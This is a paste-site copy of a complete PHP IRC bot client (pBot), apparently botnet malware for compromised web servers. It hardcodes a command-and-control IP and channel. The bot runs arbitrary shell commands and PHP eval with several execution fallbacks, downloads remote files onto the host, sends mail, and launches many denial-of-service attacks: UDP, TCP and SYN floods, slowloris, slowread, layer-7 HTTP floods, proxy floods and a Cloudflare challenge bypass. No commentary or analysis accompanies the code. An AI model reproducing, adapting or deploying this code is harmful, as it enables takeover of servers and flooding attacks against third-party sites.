· 6 years ago · Jan 12, 2020, 06:46 PM
1<?php
2$cfg = array(
3 "server" => "124.217.40.64",
4 "port" => "4321",
5 "key" => "",
6 "prefix" => "VNSTAT|",
7 "maxrand" => "9",
8 "chan" => "#mrs",
9 "trigger" => "",
10 "hostauth" => ""
11);
12set_time_limit(0);
13error_reporting(0);
14$dir = getcwd();
15$uname = @php_uname();
16function whereistmP() {
17 $uploadtmp = ini_get('upload_tmp_dir');
18 $uf = getenv('USERPROFILE');
19 $af = getenv('ALLUSERSPROFILE');
20 $se = ini_get('session.save_path');
21 $envtmp = (getenv('TMP')) ? getenv('TMP') : getenv('TEMP');
22 if(is_dir('/tmp') && is_writable('/tmp'))
23 return '/tmp';
24 if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))
25 return '/usr/tmp';
26 if(is_dir('/var/tmp') && is_writable('/var/tmp'))
27 return '/var/tmp';
28 if(is_dir($uf) && is_writable($uf))
29 return $uf;
30 if(is_dir($af) && is_writable($af))
31 return $af;
32 if(is_dir($se) && is_writable($se))
33 return $se;
34 if(is_dir($uploadtmp) && is_writable($uploadtmp))
35 return $uploadtmp;
36 if(is_dir($envtmp) && is_writable($envtmp))
37 return $envtmp;
38 return '.';
39}
40function srvshelL($command) {
41 $name = whereistmP() . "\\" . uniqid('NJ');
42 $n = uniqid('NJ');
43 $cmd = (empty($_SERVER['ComSpec'])) ? 'd:\\windows\\system32\\cmd.exe' : $_SERVER['ComSpec'];
44 win32_create_service(array(
45 'service' => $n,
46 'display' => $n,
47 'path' => $cmd,
48 'params' => "/c $command >\"$name\""
49 ));
50 win32_start_service($n);
51 win32_stop_service($n);
52 win32_delete_service($n);
53 while(!file_exists($name))
54 sleep(1);
55 $exec = file_get_contents($name);
56 unlink($name);
57 return $exec;
58}
59function ffishelL($command) {
60 $name = whereistmP() . "\\" . uniqid('NJ');
61 $api = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
62 $res = $api->WinExec("cmd.exe /c $command >\"$name\"", 0);
63 while(!file_exists($name))
64 sleep(1);
65 $exec = file_get_contents($name);
66 unlink($name);
67 return $exec;
68}
69function comshelL($command, $ws) {
70 $exec = $ws->exec("cmd.exe /c $command");
71 $so = $exec->StdOut();
72 return $so->ReadAll();
73}
74function perlshelL($command) {
75 $perl = new perl();
76 ob_start();
77 $perl->eval("system(\"$command\")");
78 $exec = ob_get_contents();
79 ob_end_clean();
80 return $exec;
81}
82function Exe($command) {
83 $exec = $output = '';
84 $dep[] = array(
85 'pipe',
86 'r'
87 );
88 $dep[] = array(
89 'pipe',
90 'w'
91 );
92 if (function_exists('passthru')) {
93 ob_start();
94 @passthru($command);
95 $exec = ob_get_contents();
96 ob_clean();
97 ob_end_clean();
98 } elseif (function_exists('system')) {
99 $tmp = ob_get_contents();
100 ob_clean();
101 @system($command);
102 $output = ob_get_contents();
103 ob_clean();
104 $exec = $tmp;
105 } elseif (function_exists('exec')) {
106 @exec($command, $output);
107 $output = join("\n", $output);
108 $exec = $output;
109 } elseif(function_exists('shell_exec'))
110 $exec = @shell_exec($command);
111 elseif (function_exists('popen')) {
112 $output = @popen($command, 'r');
113 while (!feof($output)) {
114 $exec = fgets($output);
115 }
116 pclose($output);
117 } elseif (function_exists('proc_open')) {
118 $res = @proc_open($command, $dep, $pipes);
119 while (!feof($pipes[1])) {
120 $line = fgets($pipes[1]);
121 $output .= $line;
122 }
123 $exec = $output;
124 proc_close($res);
125 } elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
126 $exec = winshelL($command);
127 elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
128 $exec = srvshelL($command);
129 elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
130 $exec = ffishelL($command);
131 elseif(extension_loaded('perl'))
132 $exec = perlshelL($command);
133 return $exec;
134}
135class pBot {
136 public $config = '';
137 public $user_agents = array(
138 "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
139 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
140 "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
141 "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2",
142 "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
143 "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
144 "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)",
145 "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00"
146 );
147 public $charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
148 public $users = array();
149 public function start($cfg) {
150 $this->config = $cfg;
151 while (true) {
152 if(!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
153 $this->start($cfg);
154 $ident = $this->config['prefix'];
155 $alph = range("0", "9");
156 for($i = 0; $i < $this->config['maxrand']; $i++)
157 $ident .= $alph[rand(0, 9)];
158 $this->send("USER " . $ident . " 127.0.0.1 localhost :" . php_uname() . "");
159 $this->set_nick();
160 $this->main();
161 }
162 }
163 public function main() {
164 while (!feof($this->conn)) {
165 if (function_exists('stream_select')) {
166 $read = array(
167 $this->conn
168 );
169 $write = NULL;
170 $except = NULL;
171 $changed = stream_select($read, $write, $except, 30);
172 if ($changed == 0) {
173 fwrite($this->conn, "PING :lelcomeatme\r\n");
174 $read = array(
175 $this->conn
176 );
177 $write = NULL;
178 $except = NULL;
179 $changed = stream_select($read, $write, $except, 30);
180 if($changed == 0)
181 break;
182 }
183 }
184 $this->buf = trim(fgets($this->conn, 512));
185 $cmd = explode(" ", $this->buf);
186 if (substr($this->buf, 0, 6) == "PING :") {
187 $this->send("PONG :" . substr($this->buf, 6));
188 continue;
189 }
190 if (isset($cmd[1]) && $cmd[1] == "001") {
191 $this->join($this->config['chan'], $this->config['key']);
192 continue;
193 }
194 if (isset($cmd[1]) && $cmd[1] == "433") {
195 $this->set_nick();
196 continue;
197 }
198 if ($this->buf != $old_buf) {
199 $mcmd = array();
200 $msg = substr(strstr($this->buf, " :"), 2);
201 $msgcmd = explode(" ", $msg);
202 $nick = explode("!", $cmd[0]);
203 $vhost = explode("@", $nick[1]);
204 $vhost = $vhost[1];
205 $nick = substr($nick[0], 1);
206 $host = $cmd[0];
207 if($msgcmd[0] == $this->nick)
208 for($i = 0; $i < count($msgcmd); $i++)
209 $mcmd[$i] = $msgcmd[$i + 1];
210 else
211 for($i = 0; $i < count($msgcmd); $i++)
212 $mcmd[$i] = $msgcmd[$i];
213 if (count($cmd) > 2) {
214 switch ($cmd[1]) {
215 case "PRIVMSG":
216 if ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*") {
217 if (substr($mcmd[0], 0, 1) == ".") {
218 switch (substr($mcmd[0], 1)) {
219 case "mail":
220 if (count($mcmd) > 4) {
221 $header = "From: <" . $mcmd[2] . ">";
222 if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) {
223 $this->privmsg($this->config['chan'], "[\2mail\2]: failed sending.");
224 } else {
225 $this->privmsg($this->config['chan'], "[\2mail\2]: sent.");
226 }
227 }
228 break;
229 case "dns":
230 if (isset($mcmd[1])) {
231 $ip = explode(".", $mcmd[1]);
232 if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) {
233 $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyaddr($mcmd[1]));
234 } else {
235 $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyname($mcmd[1]));
236 }
237 }
238 break;
239 case "uname":
240 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
241 $safemode = "on";
242 } else {
243 $safemode = "off";
244 }
245 $uname = php_uname();
246 $this->privmsg($this->config['chan'], "[\2info\2]: " . $uname . " (safe: " . $safemode . ")");
247 break;
248 case "rndnick":
249 $this->set_nick();
250 break;
251 case "raw":
252 $this->send(strstr($msg, $mcmd[1]));
253 break;
254 case "eval":
255 ob_start();
256 eval(strstr($msg, $mcmd[1]));
257 $exec = ob_get_contents();
258 ob_end_clean();
259 $ret = explode("\n", $exec);
260 for($i = 0; $i < count($ret); $i++)
261 if($ret[$i] != NULL)
262 $this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
263 break;
264 case "exec":
265 $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
266 $exec = exec($command);
267 $ret = explode("\n", $exec);
268 for($i = 0; $i < count($ret); $i++)
269 if($ret[$i] != NULL)
270 $this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
271 break;
272 case "cmd":
273 $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
274 $exec = Exe($command);
275 $ret = explode("\n", $exec);
276 for($i = 0; $i < count($ret); $i++)
277 if($ret[$i] != NULL)
278 $this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
279 break;
280 case "ud.server":
281 if (count($mcmd) > 2) {
282 $this->config['server'] = $mcmd[1];
283 $this->config['port'] = $mcmd[2];
284 if (isset($mcmcd[3])) {
285 $this->config['pass'] = $mcmd[3];
286 $this->privmsg($this->config['chan'], "[\2update\2]: info updated " . $mcmd[1] . ":" . $mcmd[2] . " pass: " . $mcmd[3]);
287 } else {
288 $this->privmsg($this->config['chan'], "[\2update\2]: switched server to " . $mcmd[1] . ":" . $mcmd[2]);
289 }
290 fclose($this->conn);
291 }
292 break;
293 case "download":
294 if (count($mcmd) > 2) {
295 if (!$fp = fopen($mcmd[2], "w")) {
296 $this->privmsg($this->config['chan'], "[\2download\2]: could not open output file.");
297 } else {
298 if (!$get = file($mcmd[1])) {
299 $this->privmsg($this->config['chan'], "[\2download\2]: could not download \2" . $mcmd[1] . "\2");
300 } else {
301 for ($i = 0; $i <= count($get); $i++) {
302 fwrite($fp, $get[$i]);
303 }
304 $this->privmsg($this->config['chan'], "[\2download\2]: file \2" . $mcmd[1] . "\2 downloaded to \2" . $mcmd[2] . "\2");
305 }
306 fclose($fp);
307 }
308 } else {
309 $this->privmsg($this->config['chan'], "[\2download\2]: use .download http://your.host/file /tmp/file");
310 }
311 break;
312 case "udpflood":
313 if (count($mcmd) > 4) {
314 $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
315 }
316 break;
317 case "tcpconn":
318 if (count($mcmd) > 5) {
319 $this->tcpconn($mcmd[1], $mcmd[2], $mcmd[3]);
320 }
321 break;
322 case "rudy":
323 if (count($mcmd) > 2) {
324 $this->doSlow($mcmd[1], $mcmd[2]);
325 }
326 break;
327 case "slowread":
328 if (count($mcmd) > 3) {
329 $this->slowRead($mcmd[1], $mcmd[2], $mcmd[3]);
330 }
331 break;
332 case "slowloris":
333 if (count($mcmd) > 2) {
334 $this->doSlow($mcmd[1], $mcmd[2]);
335 }
336 break;
337 case "synflood":
338 if (count($mcmd) > 3) {
339 $this->synflood($mcmd[1], $mcmd[2], $mcmd[3]);
340 }
341 case "l7":
342 if (count($mcmd) > 3) {
343 if ($mcmd[1] == "get") {
344 $this->attack_http("GET", $mcmd[2], $mcmd[3]);
345 }
346 if ($mcmd[1] == "post") {
347 $this->attack_post($mcmd[2], $mcmd[3]);
348 }
349 if ($mcmd[1] == "head") {
350 $this->attack_http("HEAD", $mcmd[2], $mcmd[3]);
351 }
352 }
353 break;
354 case "syn":
355 if (count($mcmd) > 2) {
356 $this->syn($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
357 } else {
358 $this->privmsg($this->config['chan'], "syntax: syn host port time [delaySeconds]");
359 }
360 break;
361 case "tcpflood":
362 if (count($mcmd) > 2) {
363 $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3]);
364 } else {
365 $this->privmsg($this->config['chan'], "syntax: tcpflood host port time");
366 }
367 break;
368 case "httpflood":
369 if (count($mcmd) > 2) {
370 $this->httpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]);
371 } else {
372 $this->privmsg($this->config['chan'], "syntax: httpflood host port time [method] [url]");
373 }
374 break;
375 case "proxyhttpflood":
376 if (count($mcmd) > 2) {
377 $this->proxyhttpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
378 } else {
379 $this->privmsg($this->config['chan'], "syntax: proxyhttpflood targetUrl(with http://) proxyListUrl time [method]");
380 }
381 break;
382 case "cloudflareflood":
383 print_r($mcmd);
384 if (count($mcmd) > 2) {
385 $this->cloudflareflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5], $mcmd[6]);
386 } else {
387 $this->privmsg($this->config['chan'], "syntax: cloudflareflood host port time [method] [url] [postFields]");
388 }
389 break;
390 }
391 }
392 }
393 break;
394 }
395 }
396 }
397 }
398 }
399 public function send($msg) {
400 fwrite($this->conn, $msg . "\r\n");
401 }
402 public function join($chan, $key = NULL) {
403 $this->send("JOIN " . $chan . " " . $key);
404 }
405 public function privmsg($to, $msg) {
406 $this->send("PRIVMSG " . $to . " :" . $msg);
407 }
408 public function notice($to, $msg) {
409 $this->send("NOTICE " . $to . " :" . $msg);
410 }
411 public function set_nick() {
412 $fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30);
413 if(!$fp)
414 $this->nick = "[UKN]";
415 else {
416 fclose($fp);
417 $ctx = stream_context_create(array(
418 'http' => array(
419 'timeout' => 30
420 )
421 ));
422 $buf = file_get_contents("http://freegeoip.net/json/", 0, $ctx);
423 if(!strstr($buf, "country_code"))
424 $this->nick = "[UKN]";
425 else {
426 $code = strstr($buf, "country_code");
427 $code = substr($code, 12);
428 $code = substr($code, 3, 2);
429 $this->nick = "[" . $code . "]";
430 }
431 }
432 if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
433 $this->nick .= "[WIN32]";
434 else
435 $this->nick .= "[LINUX]";
436 if (isset($_SERVER['SERVER_SOFTWARE'])) {
437 if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache"))
438 $this->nick .= "[A]";
439 elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "iis"))
440 $this->nick .= "[I]";
441 elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "xitami"))
442 $this->nick .= "[X]";
443 elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "nginx"))
444 $this->nick .= "[N]";
445 else
446 $this->nick .= "[U]";
447 } else {
448 $this->nick .= "[C]";
449 }
450 $this->nick .= $this->config['prefix'];
451 for($i = 0; $i < $this->config['maxrand']; $i++)
452 $this->nick .= mt_rand(0, 9);
453 $this->send("NICK " . $this->nick);
454 }
455 public function cloudflareflood($host, $port, $time, $method="GET", $url="/", $post=array()) {
456 $this->privmsg($this->config['chan'], "[\2CloudFlareFlood Started!\2]");
457 $timei = time();
458 $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
459 $packet = "$method $url HTTP/1.1\r\n";
460 $packet .= "Host: $host\r\n";
461 $packet .= "Keep-Alive: 300\r\n";
462 $packet .= "Connection: keep-alive\r\n";
463 $packet .= "User-Agent: $user_agent\r\n";
464 //Cloudflare Bypass
465 $res = curl($host, null, $user_agent, true);
466 //Cloudflare Bypass
467 if (strstr($res, "DDoS protection by CloudFlare")) {
468 $this->privmsg($this->config['chan'], "[\2CloudFlare detected!...\2]");
469 //Get the math calc
470 $math_calc = get_between($res, "a.value = ", ";");
471 if ($math_calc) {
472 $math_result = (int) eval("return ($math_calc);");
473 if (is_numeric($math_result)) {
474 $math_result += strlen($host); //Domain lenght
475 //Send the CloudFlare's form
476 $getData = "cdn-cgi/l/chk_jschl";
477 $getData .= "?jschl_vc=".get_between($res, 'name="jschl_vc" value="', '"');
478 $getData .= "&jschl_answer=".$math_result;
479 $res = curl($host.$getData, null, $user_agent);
480 //Cloudflare Bypassed?
481 if (strstr($res, "DDoS protection by CloudFlare")) {
482 $this->privmsg($this->config['chan'], "[\2CloudFlare not bypassed...\2]");
483 return false;
484 } else {
485 $bypassed = true;
486 //Cookie read
487 $cookie = trim(get_between(file_get_contents("cookie.txt"), "__cfduid", "\n"));
488 $packet .= "Cookie: __cfduid=".$cookie."\r\n\r\n";
489 }
490 }
491 }
492 } else {
493 $this->privmsg($this->config['chan'], "[\2CloudFlare not detected...\2]");
494 }
495 if ($bypassed) {
496 $this->privmsg($this->config['chan'], "[\2CloudFlare bypassed!\2]");
497 }
498 $this->privmsg($this->config['chan'], "[\2Flodding...\2]");
499 while (time() - $timei < $time) {
500 $handle = fsockopen($host, $port, $errno, $errstr, 1);
501 fwrite($handle, $packet);
502 }
503 $this->privmsg($this->config['chan'], "[\2Bitch Got Nulled!\2]");
504 }
505 public function httpflood($host, $port, $time, $method="GET", $url="/") {
506 $this->privmsg($this->config['chan'], "[\2HttpFlood Started!\2]");
507 $timei = time();
508 $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
509 $packet = "$method $url HTTP/1.1\r\n";
510 $packet .= "Host: $host\r\n";
511 $packet .= "Keep-Alive: 900\r\n";
512 $packet .= "Cache-Control: no-cache\r\n";
513 $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
514 $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
515 $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n";
516 $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n";
517 $packet .= "Connection: keep-alive\r\n";
518 $packet .= "User-Agent: $user_agent\r\n\r\n";
519 while (time() - $timei < $time) {
520 $handle = fsockopen($host, $port, $errno, $errstr, 1);
521 fwrite($handle, $packet);
522 }
523 $this->privmsg($this->config['chan'], "[\2HttpFlood Finished!\2]");
524 }
525 public function proxyhttpflood($url, $proxyListUrl, $time, $method="GET") {
526 $this->privmsg($this->config['chan'], "[\2ProxyHttpFlood Started!\2]");
527 $timei = time();
528 //Grabbing proxy
529 $proxyList = curl($proxyListUrl);
530 if ($proxyList) {
531 $proxies = explode("\n", $proxyList);
532 if (count($proxies)) {
533 shuffle($proxies);
534 $proxies[0] = trim($proxies[0]);
535 $proxy = explode(":", $proxies[0]);
536 $proxyIp = $proxy[0];
537 $proxyPort = $proxy[1];
538 if ($proxyPort && $proxyIp) {
539 $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
540 $packet = "$method $url HTTP/1.1\r\n";
541 $packet .= "Host: $host\r\n";
542 $packet .= "Keep-Alive: 900\r\n";
543 $packet .= "Cache-Control: no-cache\r\n";
544 $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
545 $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
546 $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n";
547 $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n";
548 $packet .= "Connection: keep-alive\r\n";
549 $packet .= "User-Agent: $user_agent\r\n\r\n";
550 while (time() - $timei < $time) {
551 $handle = fsockopen($proxyIp, $proxyPort, $errno, $errstr, 1);
552 fwrite($handle, $packet);
553 }
554 } else {
555 $this->privmsg($this->config['chan'], "[\2Malformed proxy!\2]");
556 }
557 } else {
558 $this->privmsg($this->config['chan'], "[\2No proxies found!\2]");
559 }
560 } else {
561 $this->privmsg($this->config['chan'], "[\2Proxy List not found!\2]");
562 }
563 $this->privmsg($this->config['chan'], "[\2ProxyHttpFlood Finished (Proxy: ".$proxies[0].")!\2]");
564 }
565 public function tcpflood($host, $port, $time) {
566 $this->privmsg($this->config['chan'], "[\2TCP Started!\2]");
567 $timei = time();
568 $packet = "";
569 for ($i = 0; $i < 65000; $i++) {
570 $packet .= $this->charset[rand(0, strlen($this->charset))];
571 }
572 while (time() - $timei < $time) {
573 $handle = fsockopen("tcp://".$host, $port, $errno, $errstr, 1);
574 fwrite($handle, $packet);
575 }
576 $this->privmsg($this->config['chan'], "[\2TCP Finished!\2]");
577 }
578 public function slowRead($host, $port, $time) {
579 $timei = time();
580 $fs = array();
581 //initialize get headers.
582 $this->privmsg($this->config['chan'], "[\2Started Slowread!\2]");
583 $headers = "GET / HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\r\n\r\n";
584 while (time() - $timei < $time) {
585 for ($i = 0; $i < 100; $i++) {
586 $fs[$i] = @fsockopen($host, $port, $errno, $errstr);
587 fwrite($fs[$i], $headers);
588 }
589 while (time() - $timei < $time) {
590 for ($i = 0; $i < count($fs); $i++) {
591 if (!$fs[$i]) {
592 $fs[$i] = @fsockopen($host, $port, $errno, $errstr);
593 fwrite($fs[$i], $headers);
594 }
595 fread($fs[$i], 1);
596 }
597 sleep(mt_rand(0.5, 2));
598 }
599 }
600 $this->privmsg($this->config['chan'], "[\2Finished Slowread\2]");
601 }
602 public function attack_http($mthd, $server, $time) {
603 $timei = time();
604 $fs = array();
605 $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Started On : $server!\2]");
606 $request = "$mthd / HTTP/1.1\r\n";
607 $request .= "Host: $server\r\n";
608 $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
609 $request .= "Keep-Alive: 900\r\n";
610 $request .= "Accept: *.*\r\n";
611 $timei = time();
612 for ($i = 0; $i < 100; $i++) {
613 $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
614 }
615 while ((time() - $timei < $time)) {
616 for ($i = 0; $i < 100; $i++) {
617 if (@fwrite($fs[$i], $request)) {
618 continue;
619 } else {
620 $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
621 }
622 }
623 }
624 $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Finished!\2]");
625 }
626 public function attack_post($server, $host, $time) {
627 $timei = time();
628 $fs = array();
629 $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Started On : $server!\2]");
630 $request = "POST /" . md5(rand()) . " HTTP/1.1\r\n";
631 $request .= "Host: $host\r\n";
632 $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
633 $request .= "Keep-Alive: 900\r\n";
634 $request .= "Content-Length: 1000000000\r\n";
635 $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
636 $request .= "Accept: *.*\r\n";
637 for ($i = 0; $i < 100; $i++) {
638 $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
639 }
640 while ((time() - $timei < $time)) {
641 for ($i = 0; $i < 100; $i++) {
642 if (@fwrite($fs[$i], $request)) {
643 continue;
644 } else {
645 $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
646 }
647 }
648 }
649 fclose($sockfd);
650 $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Finished!\2]");
651 }
652 public function doSlow($host, $time) {
653 $this->privmsg($this->config['chan'], "[\2SlowLoris Started!\2]");
654 $timei = time();
655 $i = 0;
656 for ($i = 0; $i < 100; $i++) {
657 $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
658 }
659 while ((time() - $timei < $time)) {
660 for ($i = 0; $i < 100; $i++) {
661 $out = "POST / HTTP/1.1\r\n";
662 $out .= "Host: {$host}\r\n";
663 $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
664 $out .= "Content-Length: " . rand(1, 1000) . "\r\n";
665 $out .= "X-a: " . rand(1, 10000) . "\r\n";
666 if (@fwrite($fs[$i], $out)) {
667 continue;
668 } else {
669 $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
670 }
671 }
672 }
673 $this->privmsg($this->config['chan'], "[\2SlowLoris Finished!\2]");
674 }
675 public function syn($host, $port, $time, $delay=1) {
676 $this->privmsg($this->config['chan'], "[\2SYN Started!\2]");
677 $timei = time();
678 $socks = array();
679 while (time() - $timei < $time) {
680 $numsocks++;
681 $socks[$numsocks] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
682 if (!$socks[$numsocks]) continue;
683 @socket_set_nonblock($socks[$numsocks]);
684 for ($j = 0; $j < 20; $j++)
685 @socket_connect($socks[$numsocks], $host, $port);
686 sleep($delay);
687 }
688 $this->privmsg($this->config['chan'], "[\2SYN Finished (".$numsocks." socks created)!\2]");
689 }
690 public function synflood($host, $port, $delay) {
691 $this->privmsg($this->config['chan'], "[\2synFlood Started!\2]");
692 $socks = array();
693 $numsocks = 0;
694 $numsocks++;
695 $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
696 if(!$socks[$numsocks])
697 continue;
698 @socket_set_nonblock($socks[$numsocks]);
699 for($j = 0; $j < 20; $j++)
700 @socket_connect($socks[$numsocks], $host, $port);
701 sleep($delay);
702 for ($j = 0; $j < $numsocks; $j++) {
703 if($socks[$j])
704 @socket_close($socks[$j]);
705 }
706 $this->privmsg($this->config['chan'], "[\2SynFlood Finished!\2]: Config - For $host:$port.");
707 }
708 public function udpflood($host, $port, $time, $packetsize) {
709 $this->privmsg($this->config['chan'], "[\2UdpFlood Started!\2]");
710 $packet = "";
711 for ($i = 0; $i < $packetsize; $i++) {
712 $packet .= chr(rand(1, 256));
713 }
714 $end = time() + $time;
715 $i = 0;
716 $fp = fsockopen("udp://" . $host, $port, $e, $s, 5);
717 while (true) {
718 fwrite($fp, $packet);
719 fflush($fp);
720 if ($i % 100 == 0) {
721 if($end < time())
722 break;
723 }
724 $i++;
725 }
726 fclose($fp);
727 $env = $i * $packetsize;
728 $env = $env / 1048576;
729 $vel = $env / $time;
730 $vel = round($vel);
731 $env = round($env);
732 $this->privmsg($this->config['chan'], "[\2UdpFlood Finished!\2]: " . $env . " MB sent / Average: " . $vel . " MB/s ");
733 }
734 public function tcpconn($host, $port, $time) {
735 $this->privmsg($this->config['chan'], "[\2TcpConn Started!\2]");
736 $end = time() + $time;
737 $i = 0;
738 while ($end > time()) {
739 $fp = fsockopen($host, $port, $dummy, $dummy, 1);
740 fclose($fp);
741 $i++;
742 }
743 $this->privmsg($this->config['chan'], "[\2TcpFlood Finished!\2]: sent " . $i . " connections to $host:$port.");
744 }
745}
746$bot = new pBot;
747$bot->start($cfg);
748function curl($url, $post=array(), $user_agent="", $deleteCookies=false) {
749 $ch = curl_init($url);
750 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
751 curl_setopt($ch, CURLOPT_URL, $url);
752 if ($user_agent) {
753 curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
754 }
755 if (!empty($post)) {
756 curl_setopt($ch,CURLOPT_POST, 1);
757 curl_setopt($ch,CURLOPT_POSTFIELDS, $post);
758 }
759 if ($deleteCookies) {
760 file_put_contents("cookie.txt", "");
761 }
762 curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
763 curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt");
764 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
765 $result = curl_exec($ch);
766 //$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
767 curl_close($ch);
768 return $result;
769}
770function get_between($string,$start,$end) {
771 $string = " ".$string;
772 $ini = strpos($string, $start);
773 if($ini==0) return "";
774 $ini += strlen($start);
775 $len = strpos($string, $end, $ini) - $ini;
776 return substr($string, $ini, $len);
777}